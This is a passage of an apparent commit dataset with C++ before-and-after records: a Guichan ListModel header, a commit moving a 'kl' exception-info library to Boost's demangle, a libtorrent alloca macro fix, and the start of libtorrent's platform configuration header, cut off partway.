*\/\n\n#ifndef GCN_LISTMODEL_HPP\n#define GCN_LISTMODEL_HPP\n\n#include <string>\n\n#include \"guichan\/platform.hpp\"\n\nnamespace gcn\n{\n    \/**\n     * Represents a list. It is used in certain Widgets, like the ListBox, to\n     * handle a list with string elements. If you want to use Widgets like\n     * ListBox, you should inherit from this class and implement it's\n     * functions.\n     *\/\n    class GCN_CORE_DECLSPEC ListModel\n    {\n\n    public:\n        \/**\n         * Destructor.\n         *\/\n        virtual ~ListModel() { }\n\n        \/**\n         * Gets the number of elements in the ListModel.\n         *\n         * @return the number of elements in the ListModel\n         *\/\n        virtual int getNumberOfElements() = 0;\n\n        \/**\n         * Gets an element at a certain index in the list.\n         *\n         * @param i an index in the list.\n         * @return an element as a string.\n         *\/\n        virtual std::string getElementAt(int i) = 0;\n    };\n}\n\n#endif \/\/ end GCN_LISTMODEL_HPP\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n\/\/ Based on http:\/\/www.open-std.org\/jtc1\/sc22\/wg21\/docs\/papers\/2017\/p0640r0.pdf\n\n#include <sstream>\n#include <memory>\n#include <type_traits>\n#include <typeinfo>\n#include <utility>\n#include <cstddef>\n\n#if defined(__GNUG__) && !defined(KL_NO_DEMANGLE)\n#  include <cxxabi.h>\n#  include <cstdlib>\n#endif\n\nnamespace kl {\n\nnamespace detail {\n\nclass exception_info_node_base\n{\npublic:\n    virtual ~exception_info_node_base() noexcept = default;\n\n    virtual const void* find(const std::type_info& tag) const noexcept = 0;\n    virtual void* find(const std::type_info& tag) noexcept = 0;\n    virtual void diagnostic_info(std::ostream& os) = 0;\n\n    std::shared_ptr<exception_info_node_base> next_{};\n};\n\n#if defined(__GNUG__) && !defined(KL_NO_DEMANGLE)\n\ninline auto demangled(const char* name) noexcept\n{\n    int status = -4;\n    std::unique_ptr<char, void (*)(void*)> demangled{\n        abi::__cxa_demangle(name, nullptr, nullptr, &status), std::free};\n    return demangled;\n}\n\n#  define KL_TYPE_ID_PRETTY_NAME(x) ::kl::detail::demangled((x).name()).get()\n#else\n#  define KL_TYPE_ID_PRETTY_NAME(x) (x).name()\n#endif\n\ntemplate <typename T>\nauto diagnostic_info_impl(std::ostream& os, const std::type_info& tag,\n                          const T& value, int)\n    -> decltype((os << value), void())\n{\n    os << KL_TYPE_ID_PRETTY_NAME(tag) << \" = \" << value << '\\n';\n}\n\ntemplate <typename T>\nvoid diagnostic_info_impl(std::ostream& os, const std::type_info& tag,\n                          const T& value, ...)\n{\n    os << KL_TYPE_ID_PRETTY_NAME(tag) << \" = [\";\n\n    constexpr const char* hex = \"0123456789ABCDEF\";\n    const auto bytes =\n        reinterpret_cast<const unsigned char*>(std::addressof(value));\n    const auto num_bytes = sizeof(value);\n\n    for (std::size_t i = 0; i < num_bytes; ++i)\n    {\n        if (i > 0)\n            os << ' ';\n        os << hex[(bytes[i] & 0xF0) >> 4] << hex[bytes[i] & 0xF];\n    }\n\n    os << \"]\\n\";\n}\n\ntemplate <typename Tag>\nclass exception_info_node : public exception_info_node_base\n{\npublic:\n    explicit exception_info_node(const typename Tag::type& value)\n        : value_{value}\n    {\n    }\n    explicit exception_info_node(typename Tag::type&& value)\n        : value_{std::move(value)}\n    {\n    }\n\n    const void* find(const std::type_info& tag) const noexcept override\n    {\n        return tag == typeid(Tag) ? &value_ : nullptr;\n    }\n\n    void* find(const std::type_info& tag) noexcept override\n    {\n        return tag == typeid(Tag) ? &value_ : nullptr;\n    }\n\n    void diagnostic_info(std::ostream& os) override\n    {\n        diagnostic_info_impl(os, typeid(Tag), value_, 0);\n    }\n\nprivate:\n    typename Tag::type value_;\n};\n} \/\/ namespace detail\n\nclass exception_info\n{\npublic:\n    exception_info() noexcept = default;\n    exception_info(const char* file, int line, const char* function) noexcept\n        : file_{file}, line_{line}, function_{function}\n    {\n    }\n\n    virtual ~exception_info() noexcept = default;\n\n    exception_info(const exception_info& other) = default;\n    exception_info(exception_info&& other) noexcept = default;\n\n    exception_info& operator=(const exception_info& other) = default;\n    exception_info& operator=(exception_info&& other) noexcept = default;\n\n    [[nodiscard]] const char* file() const noexcept { return file_; }\n    [[nodiscard]] int line() const noexcept { return line_; }\n    [[nodiscard]] const char* function() const noexcept { return function_; }\n\n    template <typename Tag>\n    exception_info& set(const typename Tag::type& x)\n    {\n        auto node = std::make_shared<detail::exception_info_node<Tag>>(x);\n        node->next_ = head_;\n        head_ = node;\n        return *this;\n    }\n\n    template <typename Tag>\n    exception_info& set(typename Tag::type&& x)\n    {\n        auto node =\n            std::make_shared<detail::exception_info_node<Tag>>(std::move(x));\n        node->next_ = head_;\n        head_ = node;\n        return *this;\n    }\n\n    template <typename Tag>\n    exception_info& unset() noexcept\n    {\n        if (!head_)\n            return *this;\n\n        std::shared_ptr<detail::exception_info_node_base>* node = &head_;\n        std::shared_ptr<detail::exception_info_node_base>* prev = nullptr;\n        const auto& tag = typeid(Tag);\n\n        while (*node)\n        {\n            if ((*node)->find(tag))\n            {\n                if (prev)\n                    (*prev)->next_ = (*node)->next_;\n                else\n                    head_ = (*node)->next_;\n                break;\n            }\n\n            prev = node;\n            node = &(*node)->next_;\n        }\n\n        return *this;\n    }\n\n    template <typename Tag>\n    [[nodiscard]] const typename Tag::type* get() const noexcept\n    {\n        return const_cast<exception_info*>(this)->template get<Tag>();\n    }\n\n    template <typename Tag>\n    [[nodiscard]] typename Tag::type* get() noexcept\n    {\n        const auto& tag = typeid(Tag);\n        for (auto* node = &head_; *node;)\n        {\n            if (void* ptr = (*node)->find(tag); ptr)\n                return static_cast<typename Tag::type*>(ptr);\n            node = &(*node)->next_;\n        }\n\n        return nullptr;\n    }\n\n    [[nodiscard]] std::string diagnostic_info() const\n    {\n        std::ostringstream ss;\n        if (file_)\n            ss << file_ << '(' << line_ << ')';\n        else\n            ss << \"<unknown-file>\";\n\n        ss << \": throw_with_info in function \"\n           << (function_ ? function_ : \"<unknown-function>\") << '\\n';\n        for (auto* node = &head_; *node;)\n        {\n            (*node)->diagnostic_info(ss);\n            node = &(*node)->next_;\n        }\n        return ss.str();\n    }\n\nprivate:\n    const char* file_{};\n    int line_{};\n    const char* function_{};\n\n    \/\/ Not unique because of copyability requirement\n    std::shared_ptr<detail::exception_info_node_base> head_{};\n};\n\nnamespace detail {\n\nstruct exception_with_info_base : public exception_info\n{\n    exception_with_info_base(const std::type_info& exception_type,\n                             exception_info xi)\n        : exception_info{std::move(xi)}, exception_type{exception_type}\n    {\n    }\n\n    const std::type_info& exception_type;\n};\n\ntemplate <typename E>\nclass exception_with_info : public E, public exception_with_info_base\n{\npublic:\n    exception_with_info(const E& e, exception_info xi)\n        : E{e}, exception_with_info_base{typeid(E), std::move(xi)}\n    {\n    }\n\n    exception_with_info(E&& e, exception_info xi)\n        : E{std::move(e)}, exception_with_info_base{typeid(E), std::move(xi)}\n    {\n    }\n};\n} \/\/ namespace detail\n\ntemplate <typename E>\n[[noreturn]] void throw_with_info(E&& e, exception_info&& xi = exception_info())\n{\n    using e_type = std::remove_cv_t<std::remove_reference_t<E>>;\n\n    static_assert(std::is_class_v<e_type> && !std::is_final_v<e_type>);\n    static_assert(!std::is_base_of_v<exception_info, e_type>);\n\n    throw detail::exception_with_info<e_type>(std::forward<E>(e),\n                                              std::move(xi));\n}\n\ntemplate <typename E>\n[[noreturn]] void throw_with_info(E&& e, const exception_info& xi)\n{\n    throw_with_info(std::forward<E>(e), exception_info{xi});\n}\n\ntemplate <typename E>\n[[nodiscard]] const exception_info* get_exception_info(const E& e)\n{\n    static_assert(std::is_polymorphic_v<E>);\n    return dynamic_cast<const exception_info*>(std::addressof(e));\n}\n\ntemplate <typename E>\n[[nodiscard]] exception_info* get_exception_info(E& e)\n{\n    static_assert(std::is_polymorphic_v<E>);\n    return dynamic_cast<exception_info*>(std::addressof(e));\n}\n\ntemplate <typename E>\n[[nodiscard]] std::string exception_diagnostic_info(const E& e)\n{\n    std::ostringstream ss;\n\n    if constexpr (!std::is_polymorphic_v<E>)\n    {\n        ss << \"dynamic exception type: \" << KL_TYPE_ID_PRETTY_NAME(typeid(E))\n           << '\\n';\n    }\n    else\n    {\n        const E* ep = std::addressof(e);\n        if (const auto* p =\n                dynamic_cast<const detail::exception_with_info_base*>(ep))\n        {\n            ss << \"dynamic exception type: \"\n               << KL_TYPE_ID_PRETTY_NAME(p->exception_type) << '\\n';\n        }\n        else\n        {\n            ss << \"dynamic exception type: \"\n               << KL_TYPE_ID_PRETTY_NAME(typeid(e)) << '\\n';\n        }\n\n        if (const auto* p = dynamic_cast<const std::exception*>(ep))\n            ss << \"what: \" << p->what() << '\\n';\n\n        if (const auto* p = dynamic_cast<const exception_info*>(ep))\n            ss << p->diagnostic_info();\n    }\n\n    return ss.str();\n}\n\n[[nodiscard]] inline std::string\n    exception_diagnostic_info(const std::exception_ptr& p)\ntry\n{\n    if (p)\n        std::rethrow_exception(p);\n    return \"no exception\";\n}\ncatch (const exception_info& xi)\n{\n    return exception_diagnostic_info(xi);\n}\ncatch (const std::exception& ex)\n{\n    return exception_diagnostic_info(ex);\n}\ncatch (...)\n{\n    return \"dynamic exception type: <unknown-exception>\\n\";\n}\n\n#if defined(_MSC_VER)\n#  define KL_FUNCTION_NAME __FUNCSIG__\n#elif defined(__GNUG__)\n#  define KL_FUNCTION_NAME __PRETTY_FUNCTION__\n#else\n#  define KL_FUNCTION_NAME __func__\n#endif\n\n#define KL_MAKE_EXCEPTION_INFO()                                               \\\n    ::kl::exception_info{__FILE__, __LINE__, KL_FUNCTION_NAME}\n} \/\/ namespace kl\n<commit_msg>Use Boost's demangle<commit_after>#pragma once\n\n\/\/ Based on http:\/\/www.open-std.org\/jtc1\/sc22\/wg21\/docs\/papers\/2017\/p0640r0.pdf\n\n#include <boost\/core\/demangle.hpp>\n\n#include <sstream>\n#include <memory>\n#include <type_traits>\n#include <typeinfo>\n#include <utility>\n#include <cstddef>\n\nnamespace kl {\n\nnamespace detail {\n\nclass exception_info_node_base\n{\npublic:\n    virtual ~exception_info_node_base() noexcept = default;\n\n    virtual const void* find(const std::type_info& tag) const noexcept = 0;\n    virtual void* find(const std::type_info& tag) noexcept = 0;\n    virtual void diagnostic_info(std::ostream& os) = 0;\n\n    std::shared_ptr<exception_info_node_base> next_{};\n};\n\nstruct demangled_type_name\n{\n    friend std::ostream& operator<<(std::ostream& os, demangled_type_name dtn)\n    {\n        boost::core::scoped_demangled_name name{dtn.ti.name()};\n        const char* p = name.get();\n        if (!p)\n            p = dtn.ti.name();\n        return os << p;\n    }\n\n    const std::type_info& ti;\n};\n\ntemplate <typename T>\nauto diagnostic_info_impl(std::ostream& os, const std::type_info& tag,\n                          const T& value, int)\n    -> decltype((os << value), void())\n{\n    os << demangled_type_name{tag} << \" = \" << value << '\\n';\n}\n\ntemplate <typename T>\nvoid diagnostic_info_impl(std::ostream& os, const std::type_info& tag,\n                          const T& value, ...)\n{\n    os << demangled_type_name{tag} << \" = [\";\n\n    constexpr const char* hex = \"0123456789ABCDEF\";\n    const auto bytes =\n        reinterpret_cast<const unsigned char*>(std::addressof(value));\n    const auto num_bytes = sizeof(value);\n\n    for (std::size_t i = 0; i < num_bytes; ++i)\n    {\n        if (i > 0)\n            os << ' ';\n        os << hex[(bytes[i] & 0xF0) >> 4] << hex[bytes[i] & 0xF];\n    }\n\n    os << \"]\\n\";\n}\n\ntemplate <typename Tag>\nclass exception_info_node : public exception_info_node_base\n{\npublic:\n    explicit exception_info_node(const typename Tag::type& value)\n        : value_{value}\n    {\n    }\n    explicit exception_info_node(typename Tag::type&& value)\n        : value_{std::move(value)}\n    {\n    }\n\n    const void* find(const std::type_info& tag) const noexcept override\n    {\n        return tag == typeid(Tag) ? &value_ : nullptr;\n    }\n\n    void* find(const std::type_info& tag) noexcept override\n    {\n        return tag == typeid(Tag) ? &value_ : nullptr;\n    }\n\n    void diagnostic_info(std::ostream& os) override\n    {\n        diagnostic_info_impl(os, typeid(Tag), value_, 0);\n    }\n\nprivate:\n    typename Tag::type value_;\n};\n} \/\/ namespace detail\n\nclass exception_info\n{\npublic:\n    exception_info() noexcept = default;\n    exception_info(const char* file, int line, const char* function) noexcept\n        : file_{file}, line_{line}, function_{function}\n    {\n    }\n\n    virtual ~exception_info() noexcept = default;\n\n    exception_info(const exception_info& other) = default;\n    exception_info(exception_info&& other) noexcept = default;\n\n    exception_info& operator=(const exception_info& other) = default;\n    exception_info& operator=(exception_info&& other) noexcept = default;\n\n    [[nodiscard]] const char* file() const noexcept { return file_; }\n    [[nodiscard]] int line() const noexcept { return line_; }\n    [[nodiscard]] const char* function() const noexcept { return function_; }\n\n    template <typename Tag>\n    exception_info& set(const typename Tag::type& x)\n    {\n        auto node = std::make_shared<detail::exception_info_node<Tag>>(x);\n        node->next_ = head_;\n        head_ = node;\n        return *this;\n    }\n\n    template <typename Tag>\n    exception_info& set(typename Tag::type&& x)\n    {\n        auto node =\n            std::make_shared<detail::exception_info_node<Tag>>(std::move(x));\n        node->next_ = head_;\n        head_ = node;\n        return *this;\n    }\n\n    template <typename Tag>\n    exception_info& unset() noexcept\n    {\n        if (!head_)\n            return *this;\n\n        std::shared_ptr<detail::exception_info_node_base>* node = &head_;\n        std::shared_ptr<detail::exception_info_node_base>* prev = nullptr;\n        const auto& tag = typeid(Tag);\n\n        while (*node)\n        {\n            if ((*node)->find(tag))\n            {\n                if (prev)\n                    (*prev)->next_ = (*node)->next_;\n                else\n                    head_ = (*node)->next_;\n                break;\n            }\n\n            prev = node;\n            node = &(*node)->next_;\n        }\n\n        return *this;\n    }\n\n    template <typename Tag>\n    [[nodiscard]] const typename Tag::type* get() const noexcept\n    {\n        return const_cast<exception_info*>(this)->template get<Tag>();\n    }\n\n    template <typename Tag>\n    [[nodiscard]] typename Tag::type* get() noexcept\n    {\n        const auto& tag = typeid(Tag);\n        for (auto* node = &head_; *node;)\n        {\n            if (void* ptr = (*node)->find(tag); ptr)\n                return static_cast<typename Tag::type*>(ptr);\n            node = &(*node)->next_;\n        }\n\n        return nullptr;\n    }\n\n    [[nodiscard]] std::string diagnostic_info() const\n    {\n        std::ostringstream ss;\n        if (file_)\n            ss << file_ << '(' << line_ << ')';\n        else\n            ss << \"<unknown-file>\";\n\n        ss << \": throw_with_info in function \"\n           << (function_ ? function_ : \"<unknown-function>\") << '\\n';\n        for (auto* node = &head_; *node;)\n        {\n            (*node)->diagnostic_info(ss);\n            node = &(*node)->next_;\n        }\n        return ss.str();\n    }\n\nprivate:\n    const char* file_{};\n    int line_{};\n    const char* function_{};\n\n    \/\/ Not unique because of copyability requirement\n    std::shared_ptr<detail::exception_info_node_base> head_{};\n};\n\nnamespace detail {\n\nstruct exception_with_info_base : public exception_info\n{\n    exception_with_info_base(const std::type_info& exception_type,\n                             exception_info xi)\n        : exception_info{std::move(xi)}, exception_type{exception_type}\n    {\n    }\n\n    const std::type_info& exception_type;\n};\n\ntemplate <typename E>\nclass exception_with_info : public E, public exception_with_info_base\n{\npublic:\n    exception_with_info(const E& e, exception_info xi)\n        : E{e}, exception_with_info_base{typeid(E), std::move(xi)}\n    {\n    }\n\n    exception_with_info(E&& e, exception_info xi)\n        : E{std::move(e)}, exception_with_info_base{typeid(E), std::move(xi)}\n    {\n    }\n};\n} \/\/ namespace detail\n\ntemplate <typename E>\n[[noreturn]] void throw_with_info(E&& e, exception_info&& xi = exception_info())\n{\n    using e_type = std::remove_cv_t<std::remove_reference_t<E>>;\n\n    static_assert(std::is_class_v<e_type> && !std::is_final_v<e_type>);\n    static_assert(!std::is_base_of_v<exception_info, e_type>);\n\n    throw detail::exception_with_info<e_type>(std::forward<E>(e),\n                                              std::move(xi));\n}\n\ntemplate <typename E>\n[[noreturn]] void throw_with_info(E&& e, const exception_info& xi)\n{\n    throw_with_info(std::forward<E>(e), exception_info{xi});\n}\n\ntemplate <typename E>\n[[nodiscard]] const exception_info* get_exception_info(const E& e)\n{\n    static_assert(std::is_polymorphic_v<E>);\n    return dynamic_cast<const exception_info*>(std::addressof(e));\n}\n\ntemplate <typename E>\n[[nodiscard]] exception_info* get_exception_info(E& e)\n{\n    static_assert(std::is_polymorphic_v<E>);\n    return dynamic_cast<exception_info*>(std::addressof(e));\n}\n\ntemplate <typename E>\n[[nodiscard]] std::string exception_diagnostic_info(const E& e)\n{\n    std::ostringstream ss;\n    using detail::demangled_type_name;\n\n    if constexpr (!std::is_polymorphic_v<E>)\n    {\n        ss << \"dynamic exception type: \" << demangled_type_name{typeid(E)}\n           << '\\n';\n    }\n    else\n    {\n        const E* ep = std::addressof(e);\n        if (const auto* p =\n                dynamic_cast<const detail::exception_with_info_base*>(ep))\n        {\n            ss << \"dynamic exception type: \"\n               << demangled_type_name{p->exception_type} << '\\n';\n        }\n        else\n        {\n            ss << \"dynamic exception type: \" << demangled_type_name{typeid(e)}\n               << '\\n';\n        }\n\n        if (const auto* p = dynamic_cast<const std::exception*>(ep))\n            ss << \"what: \" << p->what() << '\\n';\n\n        if (const auto* p = dynamic_cast<const exception_info*>(ep))\n            ss << p->diagnostic_info();\n    }\n\n    return ss.str();\n}\n\n[[nodiscard]] inline std::string\n    exception_diagnostic_info(const std::exception_ptr& p)\ntry\n{\n    if (p)\n        std::rethrow_exception(p);\n    return \"no exception\";\n}\ncatch (const exception_info& xi)\n{\n    return exception_diagnostic_info(xi);\n}\ncatch (const std::exception& ex)\n{\n    return exception_diagnostic_info(ex);\n}\ncatch (...)\n{\n    return \"dynamic exception type: <unknown-exception>\\n\";\n}\n\n#if defined(_MSC_VER)\n#  define KL_FUNCTION_NAME __FUNCSIG__\n#elif defined(__GNUG__)\n#  define KL_FUNCTION_NAME __PRETTY_FUNCTION__\n#else\n#  define KL_FUNCTION_NAME __func__\n#endif\n\n#define KL_MAKE_EXCEPTION_INFO()                                               \\\n    ::kl::exception_info{__FILE__, __LINE__, KL_FUNCTION_NAME}\n} \/\/ namespace kl\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright (c) 2008, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_ALLOCA\n\n#include \"libtorrent\/config.hpp\"\n\n#ifdef TORRENT_WINDOWS\n\n#include <malloc.h>\n#define TORRENT_ALLOCA(t, n) static_cast<t*>(_alloca(sizeof(t) * (n)));\n\n#else\n\n#include <alloca.h>\n#define TORRENT_ALLOCA(t, n) static_cast<t*>(alloca(sizeof(t) * (n)));\n\n#endif\n\n#endif\n\n\n<commit_msg>remove unnecessary semicolon<commit_after>\/*\n\nCopyright (c) 2008, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_ALLOCA\n\n#include \"libtorrent\/config.hpp\"\n\n#ifdef TORRENT_WINDOWS\n\n#include <malloc.h>\n#define TORRENT_ALLOCA(t, n) static_cast<t*>(_alloca(sizeof(t) * (n)))\n\n#else\n\n#include <alloca.h>\n#define TORRENT_ALLOCA(t, n) static_cast<t*>(alloca(sizeof(t) * (n)))\n\n#endif\n\n#endif\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright (c) 2005, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_CONFIG_HPP_INCLUDED\n#define TORRENT_CONFIG_HPP_INCLUDED\n\n#include <boost\/config.hpp>\n#include <boost\/version.hpp>\n#include <stdio.h> \/\/ for snprintf\n\n#ifndef WIN32\n#define __STDC_FORMAT_MACROS\n#include <inttypes.h>\n#endif\n\n#ifndef PRId64\n#ifdef _WIN32\n#define PRId64 \"I64d\"\n#else\n#define PRId64 \"lld\"\n#endif\n#endif\n\n\n\/\/ ======= GCC =========\n\n#if defined __GNUC__\n\n# if __GNUC__ >= 3\n#  define TORRENT_DEPRECATED __attribute__ ((deprecated))\n# endif\n\n\/\/ GCC pre 4.0 did not have support for the visibility attribute\n# if __GNUC__ >= 4\n#  if defined(TORRENT_BUILDING_SHARED) || defined(TORRENT_LINKING_SHARED)\n#   define TORRENT_EXPORT __attribute__ ((visibility(\"default\")))\n#  endif\n# endif\n\n\n\/\/ ======= SUNPRO =========\n\n#elif defined __SUNPRO_CC\n\n# if __SUNPRO_CC >= 0x550\n#  if defined(TORRENT_BUILDING_SHARED) || defined(TORRENT_LINKING_SHARED)\n#   define TORRENT_EXPORT __global\n#  endif\n# endif\n\n\/\/ SunPRO seems to have an overly-strict\n\/\/ definition of POD types and doesn't\n\/\/ seem to allow boost::array in unions\n#define TORRENT_BROKEN_UNIONS 1\n\n\/\/ ======= MSVC =========\n\n#elif defined BOOST_MSVC\n\n#pragma warning(disable: 4258)\n#pragma warning(disable: 4251)\n\n# if defined(TORRENT_BUILDING_SHARED)\n#  define TORRENT_EXPORT __declspec(dllexport)\n# elif defined(TORRENT_LINKING_SHARED)\n#  define TORRENT_EXPORT __declspec(dllimport)\n# endif\n\n#define TORRENT_DEPRECATED_PREFIX __declspec(deprecated)\n\n#endif\n\n\n\/\/ ======= PLATFORMS =========\n\n\n\/\/ set up defines for target environments\n\/\/ ==== AMIGA ===\n#if defined __AMIGA__ || defined __amigaos__ || defined __AROS__\n#define TORRENT_AMIGA\n#define TORRENT_USE_MLOCK 0\n#define TORRENT_USE_WRITEV 0\n#define TORRENT_USE_READV 0\n#define TORRENT_USE_IPV6 0\n#define TORRENT_USE_BOOST_THREAD 0\n#define TORRENT_USE_IOSTREAM 0\n\/\/ set this to 1 to disable all floating point operations\n\/\/ (disables some float-dependent APIs)\n#define TORRENT_NO_FPU 1\n#define TORRENT_USE_I2P 0\n#define TORRENT_USE_ICONV 0\n\n\/\/ ==== Darwin\/BSD ===\n#elif (defined __APPLE__ && defined __MACH__) || defined __FreeBSD__ || defined __NetBSD__ \\\n\t|| defined __OpenBSD__ || defined __bsdi__ || defined __DragonFly__ \\\n\t|| defined __FreeBSD_kernel__\n#define TORRENT_BSD\n\/\/ we don't need iconv on mac, because\n\/\/ the locale is always utf-8\n#if defined __APPLE__\n#define TORRENT_USE_ICONV 0\n#endif\n#define TORRENT_HAS_FALLOCATE 0\n\n\/\/ ==== LINUX ===\n#elif defined __linux__\n#define TORRENT_LINUX\n\n\/\/ ==== MINGW ===\n#elif defined __MINGW32__\n#define TORRENT_MINGW\n#define TORRENT_WINDOWS\n#define TORRENT_USE_ICONV 0\n#define TORRENT_USE_RLIMIT 0\n\n\/\/ ==== WINDOWS ===\n#elif defined WIN32\n#define TORRENT_WINDOWS\n\/\/ windows has its own functions to convert\n\/\/ apple uses utf-8 as its locale, so no conversion\n\/\/ is necessary\n#define TORRENT_USE_ICONV 0\n#define TORRENT_USE_RLIMIT 0\n#define TORRENT_HAS_FALLOCATE 0\n\n\/\/ ==== SOLARIS ===\n#elif defined sun || defined __sun \n#define TORRENT_SOLARIS\n#define TORRENT_COMPLETE_TYPES_REQUIRED 1\n\n\/\/ ==== BEOS ===\n#elif defined __BEOS__ || defined __HAIKU__\n#define TORRENT_BEOS\n#include <storage\/StorageDefs.h> \/\/ B_PATH_NAME_LENGTH\n#define TORRENT_HAS_FALLOCATE 0\n#define TORRENT_USE_MLOCK 0\n#define TORRENT_USE_ICONV 0\n#if __GNUCC__ == 2\n# if defined(TORRENT_BUILDING_SHARED)\n#  define TORRENT_EXPORT __declspec(dllexport)\n# elif defined(TORRENT_LINKING_SHARED)\n#  define TORRENT_EXPORT __declspec(dllimport)\n# endif\n#endif\n#else\n#warning unknown OS, assuming BSD\n#define TORRENT_BSD\n#endif\n\n\/\/ on windows, NAME_MAX refers to Unicode characters\n\/\/ on linux it refers to bytes (utf-8 encoded)\n\/\/ TODO: Make this count Unicode characters instead of bytes on windows\n\n\/\/ windows\n#if defined FILENAME_MAX\n#define TORRENT_MAX_PATH FILENAME_MAX\n\n\/\/ beos\n#elif defined B_PATH_NAME_LENGTH\n#define TORRENT_MAX_PATH B_PATH_NAME_LENGTH\n\n\/\/ solaris\n#elif defined MAXPATH\n#define TORRENT_MAX_PATH MAXPATH\n\n\/\/ posix\n#elif defined NAME_MAX\n#define TORRENT_MAX_PATH NAME_MAX\n\n\/\/ none of the above\n#else\n\/\/ this is the maximum number of characters in a\n\/\/ path element \/ filename on windows\n#define TORRENT_MAX_PATH 255\n#warning unknown platform, assuming the longest path is 255\n\n#endif\n\n#if defined TORRENT_WINDOWS && !defined TORRENT_MINGW\n\n\/\/ class X needs to have dll-interface to be used by clients of class Y\n#pragma warning(disable:4251)\n\/\/ '_vsnprintf': This function or variable may be unsafe\n#pragma warning(disable:4996)\n\n#include <stdarg.h>\n\ninline int snprintf(char* buf, int len, char const* fmt, ...)\n{\n\tva_list lp;\n\tva_start(lp, fmt);\n\tint ret = _vsnprintf(buf, len, fmt, lp);\n\tva_end(lp);\n\tif (ret < 0) { buf[len-1] = 0; ret = len-1; }\n\treturn ret;\n}\n\n#define strtoll _strtoi64\n#else\n#include <limits.h>\n#endif\n\n#if (defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)) \\\n\t&& !defined (TORRENT_UPNP_LOGGING) && TORRENT_USE_IOSTREAM\n#define TORRENT_UPNP_LOGGING\n#endif\n\n\/\/ libiconv presence, not implemented yet\n#ifndef TORRENT_USE_ICONV\n#define TORRENT_USE_ICONV 1\n#endif\n\n#ifndef TORRENT_BROKEN_UNIONS\n#define 